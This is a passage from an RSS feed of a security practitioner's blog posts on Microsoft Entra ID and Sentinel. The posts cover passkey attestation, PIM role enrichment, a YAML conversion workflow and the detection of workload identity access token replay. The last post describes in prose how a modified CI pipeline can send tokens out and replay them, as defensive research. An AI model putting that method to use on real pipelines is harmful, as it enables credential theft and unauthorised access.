            <content:encoded><![CDATA[<p>With the availability of passkeys the FIDO2 standards become more accessible in the form of password managers, web-browsers and (mobile) operating systems — without the need for dedicated hardware such as FIDO2 keys.</p><p>Microsoft is currently in the process of developing support for passkeys and shipping the public preview in Q1 2024:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwNnOdcgBQPCEwZRTpGKNg.png" /><figcaption><a href="https://www.microsoft.com/en-us/microsoft-365/roadmap?filters=&amp;searchterms=182056">https://www.microsoft.com/en-us/microsoft-365/roadmap?filters=&amp;searchterms=182056</a></figcaption></figure><p>While this is a very welcome addition to make passwordless authentication easily accessible without dedicated hardware such as FIDO2 security keys this also introduces new risks, especially for high value accounts — But why’s that?</p><p>Let’s imagine a fictive scenario (that might become reality in the future) of a user registering a passkey with his password manager app for a Microsoft Entra account. The security of this passkey is now determined by the security measures on the password manager app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*7Mdx6OFRnIJ_wVbJ.jpg" /></figure><p>For the Microsoft roadmap this scenario is not (yet) applicable as Entra will only support device-bound passkeys. At the end of the day it is a similar situation as the security of the passkey depends on the device with the authenticator (passkey) on it and that’s not necessarily under the umbrella of IT security measures.</p><p>Fortunately there is hope and the FIDO alliance included that critical aspect of distinguishing authenticators in their standards as we’ll find out below.</p><h3>Attestation and AAGuids</h3><p>Each authenticator that complies to the FIDO2 specification needs to support a thing called attestation. This is basically a proof about the authenticator that is backed by a certificate to indicate information about an authenticator such as the vendor, model and compliance with standards such as FIPS.</p><p>This attestation proof contains an unique identifier for the respective authenticator type, also called Authenticator Attestation Globally Unique ID (AAGuid). IdPs such as Entra ID can and should enforce <strong>attestation </strong>and can optionally enforce key restrictions. Key restrictions take effect for the registration and usage of FIDO2 security keys and passkeys as attestation info is sent during the registration and also the authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mso-klioCVnht8no_zP56g.png" /><figcaption>Entra Authentication Method Settings for FIDO2 Keys</figcaption></figure><p>During the registration and authentication process, a FIDO2 security keys and passkeys will send attestation info within the request information. The AAGuid info during the registration can also be extracted via KQL from the Entra ID audit logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7S9fT2oQi_aeeg8QMcC9Q.png" /><figcaption>Extracting the AAGuid from FIDO2 Security Key Registrations</figcaption></figure><h4>Lookup of AAGuids via FIDO2 MDS Blob</h4><p>The AAGuids itself don’t come in a human readable format. The FIDO alliance publishes a Metadata Service (MDS) blob in the format of a signed JSON Web Token (JWT) that contains a list of all certified authenticators, including additional metadata and the corresponding AAGuids.</p><p>Unfortunately this information is not exposed by the FIDO alliance in an accessible way and parsing the MDS blob manually is also poor from an admin perspective. Therefore I built a little web app called <a href="https://aaguid.nicolasuter.ch/">AAGUIDs</a>, that pulls and parses the latest MDS blob on a daily basis and allows for easy AAGuid lookups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OS5O3A0UbeBcl3yctqqTFg.png" /><figcaption>aaguid.nicolasuter.ch provides a table with all AAGuids included in the FIDO2 MDS blob.</figcaption></figure><p>Additionally, the passkey developers maintain a semi-official-ish repository (<a href="https://github.com/passkeydeveloper/passkey-authenticator-aaguids">passkeydeveloper/passkey-authenticator-aaguids</a>)of vendor-sourced AAGuids for passkeys that is combined with the FIDO MDS blob. I also daily pull and update a copy of that file, this can also be displayed within my web app by enabling the respective toggle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4OilFu8UM6HLVP4_KxUCNw.png" /><figcaption>Displaying the passkey blob which is merged with the FIDO MDS blob</figcaption></figure><p>One thing I am actually curious about is whether the passkeys will be added to the FIDO MDS blob, at least with the scheduled update for the 01.12.2023 they did not appear.</p><h4>Detecting registered FIDO2 security keys with KQL</h4><p>With the gained knowledge about the FIDO MDS blob we can combine this information with the previous query about registered FIDO2 keys and their AAGuids. We can simply lookup the FIDO2 or Pass-Key based on the AAGuid.</p><p>You can use the following JSON for an externaldata lookup: <a href="https://github.com/nicolonsky/ITDR/blob/main/Watchlists/aaguids.json">ITDR/Watchlists/aaguids.json at main · nicolonsky/ITDR (github.com)</a>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/164139dcf5622e8767574e632b729da0/href">https://medium.com/media/164139dcf5622e8767574e632b729da0/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u29nulPa7jd7CbcuRWbeZA.png" /><figcaption>Users that registered a FIDO2 / Passkey including the parsed AAGuid and Name</figcaption></figure><h3>Authentication method enforcement and downgrade (attacks)</h3><p>To enforce passkeys and FIDO2 security keys with Entra ID we have the following options available:</p><ul><li><strong>System Preferred MFA</strong>: Entra ID will automatically suggest the most secure authentication method as default sign-in option. This is not really an enforcement but rather a nudge</li><li><strong>Authentication Methods</strong>: These control the available options, by disabling unwanted methods, you can allow only FIDO2 or Pass-Keys for specific personas</li><li><strong>Conditional Access</strong>: With the Authentication Strength Grant Control you can enforce a specific authentication method, either during sign-in or as part of an authentication context that can be used within Privileged Identity Management (PIM) or protected actions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_cPeA3t6yG2r4cPNw6Bfg.png" /><figcaption>Available enforcement options</figcaption></figure><p>Buuuuut what’s actually even cooler is the capability that hides within the authentication strength configuration! Here we can enforce a specific FIDO2 authenticator based on the AAGuid and embed this within our Conditional Access Policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0iTvxIcSLFGin29RfuOng.png" /><figcaption>Enforcing specific FIDO2 keys or in the future passkeys with authentication strengths</figcaption></figure><p>With that approach we can once passkeys become available in Entra ID build more fine grained authentication requirements for sensitive personas and still enjoy the benefits of passkeys.</p><h4>Hunting for Authentication Method downgrades</h4><p>Without the enforcement of a specific authentication strength the weakest link will be the weakest MFA option registered on a specific account. Unfortunately the Entra Sign-In logs do not indicate when a user bypassed system preferred MFA (it would be cool to store this within an error code or dedicated system preferred MFA field in the logs).</p><p>Based on past sign-in logs and used authentication methods we can rank and compare the individual authentication methods and hunt for potential downgrade attacks or scenarios where a user leveraged a weaker authentication method.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b2bd8b5c35e3b7e920da275d00735289/href">https://medium.com/media/b2bd8b5c35e3b7e920da275d00735289/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQ-lqpc3Od9G1PoQYHWCsw.png" /><figcaption>Used vs strongest MFA / authentication method registered</figcaption></figure><h3>Summary</h3><p>FIDO2 and passkeys are the future when it comes to passwordless and phishing resistant authentication methods. While the security of the methods differ, FIDO2 security keys will still be the gold-standard for sensitive accounts such as admin and VIP accounts. It is therefore important to think about the allowed FIDO2 and passkey options for the respective personas and putting the necessary enforcements into place to make sure that these new and more secure authentication methods are also used and a downgrade to weaker authentication methods such as password and MFA is not performed.</p><h4>Resources and additional information</h4><ul><li><a href="https://aaguid.nicolasuter.ch/">AAGUIDs (nicolasuter.ch)</a></li><li><a href="https://fidoalliance.org/fido-technotes-the-truth-about-attestation/">FIDO TechNotes: The Truth about Attestation — FIDO Alliance</a></li><li><a href="https://fidoalliance.org/metadata/">https://fidoalliance.org/metadata/</a></li><li><a href="https://fidoalliance.org/specs/mds/fido-metadata-service-v3.0-ps-20210518.html">https://fidoalliance.org/specs/mds/fido-metadata-service-v3.0-ps-20210518.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d858680248c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enriching Microsoft Sentinel tables with eligible Entra directory roles]]></title>
            <link>https://nicolasuter.medium.com/enriching-microsoft-sentinel-tables-with-eligible-entra-directory-roles-2873783c815e?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/2873783c815e</guid>
            <category><![CDATA[microsoft-sentinel]]></category>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[microsoft-entra]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Fri, 17 Nov 2023 12:25:56 GMT</pubDate>
            <atom:updated>2023-11-21T12:16:57.208Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ricvcG0k-lT1Xek8GH1lg.png" /></figure><p>Microsoft 365 Defender and Sentinel provide an <em>IdentityInfo</em> table that contains various information that is helpful for threat hunting and detections. One key piece are also the assigned Entra directory roles for a specific identity. Unfortunately only permanently assigned permissions are covered and in times of Entra Privileged Identity Management (PIM) we should have standing permissions only for non-privileged roles and break-glass accounts.</p><p>Within this blog post I want to share a few tips and tricks to answer the following questions with Sentinel and a little bit of scripting and KQL:</p><ul><li>How can we enrich the <em>IdentityInfo</em> table to include eligible assigned directory roles?</li><li>Which synchronized user accounts have permanent or eligible directory roles assigned? (Spoiler: this should be avoided at all cost)</li><li>Were eligible directory role assignments not used within the last couple of days and can therefore be removed?</li></ul><p>As a bonus I also prepared an analytics rule for mass unassignment of highly privileged Entra roles, as this tactic was used for example by the LAPSUS$ group.</p><h3>Gathering PIM eligible Entra Directory Roles</h3><p>As the <em>IdentityInfo</em> and other available built-in data sources do not include eligible role assignments we need a way to gather the existing role assignments. Fortunately, we can query the following Microsoft Graph endpoint to get the eligible permission assignments:</p><pre>GET /roleManagement/directory/roleEligibilitySchedules?$expand=roleDefinition,principal</pre><p>This will return the assigned role and the principal information. In case that the role was assigned to an Entra role-assignable group, the principal object holds the group id. To allow simplified enrichment without group membership lookups we can easily un-nest the assignments by getting the group members to have a flat list of users with their eligible role assignments.</p><p>For the data collection we have the following options:</p><ul><li>Run this on demand as an interactive PowerShell script</li><li>Set it up as an Azure automation PowerShell runbook that will upload the CSV directly to a storage account</li><li>Build a logic app</li></ul><h4>PowerShell approach</h4><p>You can find both options available on my ITDR GitHub Repository:</p><ul><li>Interactive: <a href="https://github.com/nicolonsky/ITDR/blob/main/Watchlists/Entra-ID-PIM-Eligible-Directory-Roles/Get-AssignableRoles.ps1">Get-AssignableRoles.ps1</a></li><li>Azure Automation runbook: <a href="https://github.com/nicolonsky/ITDR/blob/main/Watchlists/Entra-ID-PIM-Eligible-Directory-Roles/Get-AssignableRoles-Automation.ps1">Get-AssignableRoles-Automation.ps1</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4oryQe4dKTR4g3NO0guP7w.png" /><figcaption>Azure Automation Runbook to dump the PIM Entra role assignments</figcaption></figure><p>Just make sure, that the managed identity of the Automation Account has the following permissions:</p><ul><li><a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#storage-blob-data-contributor">Storage Blob Data Contributor</a> (Azure IAM)</li><li>RoleManagement.Read.All (Microsoft Graph API)</li></ul><p>Once the CSV export of the runbook completed, we can create a shared access signature (SAS) to use the data within our queries:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PuSOJEutKnM0IZxj3wcDA.png" /><figcaption>CSV export of the automation runbook</figcaption></figure><p>Here an example of the exported CSV from my lab tenant:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e504082f05c0427d85de41a545757d1e/href">https://medium.com/media/e504082f05c0427d85de41a545757d1e/href</a></iframe><h4>Logic App approach</h4><p>Another approach is to setup a logic app that will acquire and feed the watchlist directly. This also allows for initial population without a manual upload as Azure provides a dedicated API endpoint for this to bulk create or update the watchlist: <a href="https://learn.microsoft.com/en-us/rest/api/securityinsights/watchlists/create-or-update?view=rest-securityinsights-2023-02-01&amp;tabs=HTTP">Watchlists — Create Or Update — REST API</a>.</p><p>The API endpoint uses the PUT HTTP verb but unfortunately the operation is not really idempotent as the watchlist items are not being overwritten, actually just being added. Nevertheless this provides a quick solution to propagate and use the data.</p><p>The managed identity of the logic app will require the following permissions:</p><ul><li>Microsoft Sentinel Contributor (Azure IAM)</li><li>RoleManagement.Read.All (Microsoft Graph API)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RNDr1spD2yip-87vSluydg.png" /><figcaption>Logic App to leverage the Sentinel watchlist API</figcaption></figure><p>You can find an export of my logic app here: <a href="https://github.com/nicolonsky/ITDR/blob/main/Watchlists/Entra-ID-PIM-Eligible-Directory-Roles/la-pimroleassignments.json">Entra-ID-PIM-Eligible-Directory-Roles/la-pimroleassignments.json</a>. Just make sure to update the managed identity references and variables to include your Sentinel workspace info.</p><h3>Sentinel Integration</h3><p>After we have a dump of all PIM eligible assignments let’s bring this data into Sentinel. We have two options:</p><ul><li>Import the CSV as watchlist and access the data via _GetWatchlist() function</li><li>Embed the CSV via the externaldata function</li></ul><p>With both options we have the CSV available as KQL-like table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FIz1RY8Bw9Y5Q6SY8_huEg.png" /><figcaption>Data available in Sentinel via getwatchlist or externaldata function</figcaption></figure><p>The advantage with the externaldata operator is, that we have always the latest data available, in case you go for the Azure automation runbook and schedule it to run periodically, e.g. on a daily basis. Alternatively you could also automatically update the watchlist with a logic app or a similar mechanism. Here an example for the externaldata call:</p><pre>let EligibleDirectoryRoles =  externaldata(PrincipalId: guid, PrincipalType: string, UserPrincipalName: string, RoleDefinitionId: guid, RoleDefinitionName: string, DirectoryScopeId: string, AssignmentInheritedFrom: guid, AssignmentType:string) [<br>  h@&#39;https://stsecopsn01.blob.core.windows.net/watchlists/eligibleRoleAssignments.csv?...&#39;<br>] with (format=csv, ignoreFirstRecord=true);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvU2DHKpu8F8Q38TgQdenw.png" /><figcaption>The CSV can also be stored as watchlist.</figcaption></figure><h3>IdentityInfo Enrichment</h3><p>After having the PIM role assignments in Sentinel, we can start extending the <em>IdentityInfo</em> table:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14b029d97e61dfc4fc9e12f45df4929d/href">https://medium.com/media/14b029d97e61dfc4fc9e12f45df4929d/href</a></iframe><p>Now we have an <em>IdentityInfo</em> table with the EligibleDirectoryRoles column for each particular user account. This shows us both the permanently assigned and eligible directory roles 😎:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLVvvtMFrhaQmIZQ_I-H8w.png" /><figcaption>We have now the enriched IdentityInfo table with the EligibleDirectoryRoles Column</figcaption></figure><h3>Additional Queries</h3><h4>Last PIM activation per role assignment</h4><p>With the individual PIM role assignments available, we can query the last activation timestamp based on the Entra audit logs. This benefits the assessment of stale role assignments that can be removed. Depending on the result, this could also be an indicator whether an admin always elevates to the more-privileged role instead of the individual service roles.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bd223fec06508e4d99f28a985bac29af/href">https://medium.com/media/bd223fec06508e4d99f28a985bac29af/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCTlnpybqiNjMkzMZQQgmg.png" /><figcaption>Finding the last activation for given PIM assignments</figcaption></figure><h4>Synchronized user accounts with admin roles</h4><p>Account separation is a very effective measure to limit the blast radius in case of on-premises compromise or account takeover. With the following query we can identify both permanent and eligible role assignments for synchronized user accounts:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9ebf1fe0694394460a47002553de96fd/href">https://medium.com/media/9ebf1fe0694394460a47002553de96fd/href</a></iframe><h4>Public IPs used for role activation</h4><p>We can extend the above query to also parse the public IP addresses that were used to activate certain role assignments. This could be the foundation to implement a Conditional Access policy to limit the role activation via authentication context or additional detection rules:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/70144d8c3efb16e0aa5206d52a4bf4c9/href">https://medium.com/media/70144d8c3efb16e0aa5206d52a4bf4c9/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N3pm1oPu4qEFzkU7Uyu_zw.png" /><figcaption>Parsing the used public IP addresses for PIM role activations</figcaption></figure><h3>Malicious removal of Directory Roles</h3><p>LAPSUS$ used the Mitre ATT&amp;CK technique ‘Account Access Removal’ (T1531) to prevent victim tenants from accessing their cloud infrastructure with administrative accounts. We can use a detection rule to identify bulk-removal of highly sensitive directory roles that can lead to lockout of a Microsoft Entra Tenant.</p><p>The detection rule gathers Entra directory role removals for Global Administrators and Privileged Role Administrators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8xUsfEaSKwJW8yul6U1Kg.png" /><figcaption>Bulk removal of highly privileged directory roles</figcaption></figure><p>Link to the full detection rule: <a href="https://github.com/nicolonsky/ITDR/blob/main/Detections/T1531.Entra.HighlyPrivilegedRoleRemoval.md">ITDR/Detections/T1531.Entra.HighlyPrivilegedRoleRemoval.md</a></p><p>We can also setup this detection as a Sentinel Analytics rule that will generate alerts for mass-role-unsassignments:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Byd_K4jq89xLj0mvtGoudg.png" /><figcaption>Sentinel Analytics rule to detect mass role-unassignment.</figcaption></figure><p>Link to the analytics rule: <a href="https://github.com/nicolonsky/ITDR/blob/main/AnalyticRules/T1531.Entra.HighlyPrivilegedRoleRemoval.yaml">T1531.Entra.HighlyPrivilegedRoleRemoval.yaml</a>.</p><h3>Conclusion</h3><p>We already have the tools and the data available to correlate detections and hunting with PIM eligible role assignments so let’s use them to defend against attacks on admin accounts that don’t have standing permissions in place. For the future I’d hope that a column such as the EligibleRoleAssignments would be baked in into the Identity UEBA table to make this information accessible out of the box.</p><p>// Ciao 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2873783c815e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Maintaining Microsoft Sentinel Analytic Rules in JSON and YAML with GitHub Actions]]></title>
            <link>https://nicolasuter.medium.com/maintaining-microsoft-sentinel-analytic-rules-in-json-and-yaml-with-github-actions-a55aa3b99037?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/a55aa3b99037</guid>
            <category><![CDATA[github-actions]]></category>
            <category><![CDATA[microsoft-sentinel]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Mon, 13 Nov 2023 09:04:48 GMT</pubDate>
            <atom:updated>2023-11-13T09:04:48.038Z</atom:updated>
            <content:encoded><![CDATA[<p>Microsoft Sentinel Analytic Rules can be shared in both the YAML and ARM format, whereas the ARM format leverages JSON as file type. Within this short post I want to demonstrate an approach that leverages a GitHub Action to automatically build and update the rules in YAML format — so you can just export and update existing rules without any manual conversion effort.</p><p><a href="https://twitter.com/fabian_bader">Fabian Bader</a> built a cool solution called <a href="https://cloudbrothers.info/convert-sentinel-analytics-rules/">SentinelARConverter</a>that allows conversion of exported Sentinel Analctic rules from ARM/JSON to YAML (and vice-versa). To emphasize sharing of analytic rules I wanted to adopt also the YAML format without the need to always manually convert the rules. Therefore I incorporated his solution into a GitHub Action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epyol1VOFkyQ9BI2j7-Agg.png" /><figcaption>Analytic Rules can be exported from Sentinel as ARM template in JSON format.</figcaption></figure><h3>Building a GitHub Action</h3><p>The automation of this task is fairly simple if you are already familiar with GitHub actions. In case you want to directly see the full pipeline, you can find it <a href="https://github.com/nicolonsky/ITDR/blob/main/.github/workflows/build-yaml-rules.yml">here</a>. Otherwise keep on reading.</p><p>The GitHub action should be triggered as soon as I upload a new Export of an Analytics Rule to the repository. For that, we need to define a folder structure. I maintain the rules within a folder called AnalyticRules. Based on that we can define the triggers for the workflow and filter only for the analytic rules path. This will only run the Action, when a file within that folder get’s changed. Additionally, I added a workflow_dispatch trigger, this allows manual execution of the pipeline.</p><pre>on:<br>  push:<br>    branches: [main]<br>    paths:<br>      - &quot;AnalyticRules/*.json&quot;<br>  workflow_dispatch:</pre><p>Besides the initial conversion, the Action should reflect changes to existing ARM/JSON Analytic Rules based on the last file modification timestamp.</p><p>So we do the following things:</p><ul><li>Enumerate all JSON files within the AnalyticRules folder</li><li>Change the destination file type to YAML</li><li>Check whether the destination file already exists or whether the JSON file was modified</li><li>Convert the actual rule from JSON to YAML</li></ul><pre>Install-Module SentinelARConverter -AcceptLicense -Force<br>Get-ChildItem -Path &#39;AnalyticRules&#39; -Filter &#39;*.json&#39; | ForEach-Object {<br>    Write-Output &quot;Processing file: $($_.Name)&quot;<br>    $yamlFilePath = $_.FullName.Replace(&#39;.json&#39;, &#39;.yaml&#39;)<br>    if (-not (Test-Path $yamlFilePath) -or (Get-Item $yamlFilePath).LastWriteTime -lt $_.LastWriteTime) {<br>        Write-Host &quot;Converting $($_.FullName) to $yamlFilePath&quot;<br>        Convert-SentinelARArmToYaml -Filename $_.FullName -UseOriginalFilename<br>    }<br>}</pre><p>After running the conversion, the Action should automatically commit and push the changes into the repository as I don’t want to do this manually.</p><p>For this, the workflow requires contents:write permissions, as GitHub will automatically grant the workflow permissions to commit and push changes to the repository.</p><pre>git config --global user.name &#39;SentinelARConverter&#39;<br>git config --global user.email &#39;nicolonsky@users.noreply.github.com&#39;<br>git add AnalyticRules<br>git commit -am &quot;SentinelARConverter&quot;<br>git push</pre><p>Now we just need to combine the individual steps within a GitHub Action workflow file and store it within the: .github/workflows folder in the repository:</p><pre>on:<br>  push:<br>    branches: [main]<br>    paths:<br>      - &quot;AnalyticRules/*.json&quot;<br>  workflow_dispatch:<br><br>permissions:<br>  contents: write<br><br>name: Build YAML Analytic Rules<br><br>jobs:<br>  build:<br>    runs-on: ubuntu-latest<br>    name: Build YAML Analytic Rules<br>    steps:<br>      - uses: actions/checkout@v3<br>      - name: Convert rules to YAML<br>        run: |<br>          Install-Module SentinelARConverter -AcceptLicense -Force<br>          Get-ChildItem -Path &#39;AnalyticRules&#39; -Filter &#39;*.json&#39; | ForEach-Object {<br>              Write-Output &quot;Processing file: $($_.Name)&quot;<br>              $yamlFilePath = $_.FullName.Replace(&#39;.json&#39;, &#39;.yaml&#39;)<br>              if (-not (Test-Path $yamlFilePath) -or (Get-Item $yamlFilePath).LastWriteTime -lt $_.LastWriteTime) {<br>                  Write-Host &quot;Converting $($_.FullName) to $yamlFilePath&quot;<br>                  Convert-SentinelARArmToYaml -Filename $_.FullName -UseOriginalFilename<br>              }<br>          }<br>        shell: pwsh<br>      - name: Commit and push changes<br>        run: |<br>          git config --global user.name &#39;SentinelARConverter&#39;<br>          git config --global user.email &#39;nicolonsky@users.noreply.github.com&#39;<br>          git add AnalyticRules<br>          git commit -am &quot;SentinelARConverter&quot;<br>          git push</pre><p>After committing or changing an Analytics Rule in JSON format, the GitHub action will take over and automatically build, commit and push the changes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*9kGtVLGrjSyWg7QqtnxaUw.png" /><figcaption>Modifications and new rules will be automatically committed by the GitHub action</figcaption></figure><p>Detailed info can then also be found within the run details of the workflow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ij43K8qgTN25aMJIWRc_wA.png" /><figcaption>Detailed GitHub action output</figcaption></figure><h3>Ciao 👋</h3><p>I hope this helps you to simplify the sharing and maintenance of both analytic rules in YAML and JSON. Kudos again to Fabian Bader for building the converter!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMhAWjwCwH2HvczdHCpuIw.png" /><figcaption>Image proudly generated by DALL·E :)</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a55aa3b99037" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Have you heard of workload identity access token replay?]]></title>
            <link>https://nicolasuter.medium.com/have-you-heard-about-workload-identity-access-token-replay-22e7619189af?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/22e7619189af</guid>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[itdr]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <category><![CDATA[sentinel]]></category>
            <category><![CDATA[identity]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Wed, 08 Nov 2023 15:12:00 GMT</pubDate>
            <atom:updated>2023-11-09T21:58:20.571Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sDpRwET8pOh_m1lLIWEaJQ.png" /></figure><p>Microsoft recently made the Microsoft Graph Activity Logs available as part of the Microsoft Entra ID diagnostic settings. This means we can use the <em>MicrosoftGraphActivityLogs </em>Table to enrich custom detections and analytic rules.</p><p>Within this post I want to elaborate closer on an attack scenario for workload identities that leverage workload identity federation and don’t have any persistent credentials or long lived secrets. But one type of credential artefacts is still theft-able — the short lived access tokens.</p><p>Adversaries can try to exfiltrate the access token from the CI/CD environment such as a GitHub action and replay the token within another system to access Entra ID protected resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iTbbTvAIBrAQsd2KErnBGg.png" /><figcaption>Federated workload identity credentials on an Entra App Registration</figcaption></figure><p>This tactic could also be used in scenarios with App Registrations that leverage certificates or clients secrets where adversaries don’t have access to the credentials but get possession of the access token due to exposure in cleartext such as in log files or decrypted TLS traffic.</p><h3>Stealing and replaying workload identity access tokens</h3><p>To demonstrate a scenario to steal and replay an access token of a workload identity, I prepared a demo scenario with a GitHub action that acquires access tokens for the Microsoft Graph API and the Azure Resource Manager API. The pipeline leverages federated credentials (also referred to as workload identity federation).</p><p>An attacker with access to the CI environment can modify the CI pipeline to exfiltrate the Entra ID access token, e.g. via outgoing webhook or DNS and the replay the access token to call protected resources such as the Microsoft Graph API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyEaiPfAh0XGoBK61BIE2A.png" /><figcaption>Extract of the CI pipeline with the token theft section marked red</figcaption></figure><p>Full example of the GitHub Action workflow: <a href="https://github.com/nicolonsky/ITDR/blob/main/.github/workflows/token-theft-demo.yml">ITDR/.github/workflows/token-theft-demo.yml at main · nicolonsky/ITDR</a></p><p>If the token was issued for Microsoft Graph resources, it is fairly simple to estimate the applicable permissions as they hide within the scopes of the JWT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAyJ8BXvVPSrJj7L6x_I-g.png" /><figcaption>Decoded JWT with jwt.ms to see the applicable OAuth 2.0 scopes</figcaption></figure><p>In my example I automated the token replay with a simple <a href="https://pipedream.com/">pipedream</a> workflow that extracts the incoming access token from the webhook and performs a Microsoft Graph API request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lr7amVxUFV6FWSzLunntaQ.png" /><figcaption>Example pipedream workflow that directly replays the access token agains the Microsoft Graph API</figcaption></figure><p>This automated replay has the advantage, that we do not need to worry about the expiration and can directly replay the token after exfiltration. In an advanced scenario we could even check the included permissions that are described as scopes within the token to find a potential target or writeable scope of the acquired token.</p><h3>Detection capabilities</h3><p>This activity can be detected based on the <em>AADServicePrincipalSignInLogs </em>which contains information about the sign-in of the workload identity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkE1p4_i0gYRJ2BIx6vTtQ.png" /><figcaption>Service Principal Sign-In logs</figcaption></figure><p>The Microsoft Graph API call from the replayed access token is visible within the <em>MicrosoftGraphActivityLogs </em>table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJ8McY77JroaJZqN60XDqw.png" /><figcaption>Microsoft Graph Activity containing the token replay activity</figcaption></figure><p>The useful thing is, that we can lookup the corresponding sign-in for each Microsoft Graph activity based on the UniqueTokenIdentifier / SignInActivityId.</p><p>When the IPAddress between the token issuance and activity doesn’t match, we have a strong indicator, that the token was replayed by a malicious actor. Additionally, we can also include the Azure Activity Logs within our detection, to also detect abuse based on Azure Activity and not only Microsoft Graph calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmU7ysNcE2xagS3Fd_fXfw.png" /><figcaption>Mismatch between the Sign-in and activity IP address</figcaption></figure><p>You can find the full detection within my new ITDR GitHub Repository: <a href="https://github.com/nicolonsky/ITDR/blob/main/Detections/T1528.Entra.ServicePrincipalAccessTokenReplay.md">ITDR/Detections/T1528.Entra.ServicePrincipalAccessTokenReplay.md at main · nicolonsky/ITDR (github.com)</a>.</p><p>The query can also be used directly for a Sentinel analytics rule - simply adjust the detection frequency 🕵️‍♂️.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZWHX-vxtdNoEH4J45KMCg.png" /><figcaption>Leveraging the detection as Sentinel Analytics Rule</figcaption></figure><p>You can find an export of the rule on GitHub as well: <a href="https://github.com/nicolonsky/ITDR/blob/main/AnalyticRules/T1528.Entra.ServicePrincipalAccessTokenReplay.json">ITDR/AnalyticRules/T1528.Entra.ServicePrincipalAccessTokenReplay.json at main · nicolonsky/ITDR (github.com)</a></p><h3>Response</h3><p>As workload identities and some Microsoft backend services also support continuous access evaluation (CAE) we can trigger a CAE aware action as response to limit further abuse. The following actions are honoured for CAE¹:</p><ul><li>Service principal disable</li><li>Service principal delete</li><li>High service principal risk as detected by Microsoft Entra ID Protection</li></ul><p>Thanks to Microsoft Sentinel we can trigger the appropriate response action (disabling the service principal) directly from an automation based on a logic app. To keep track of the affected workload identity we store the ObjectId of the service principal within the alert enhancement:</p><figure><img alt="" 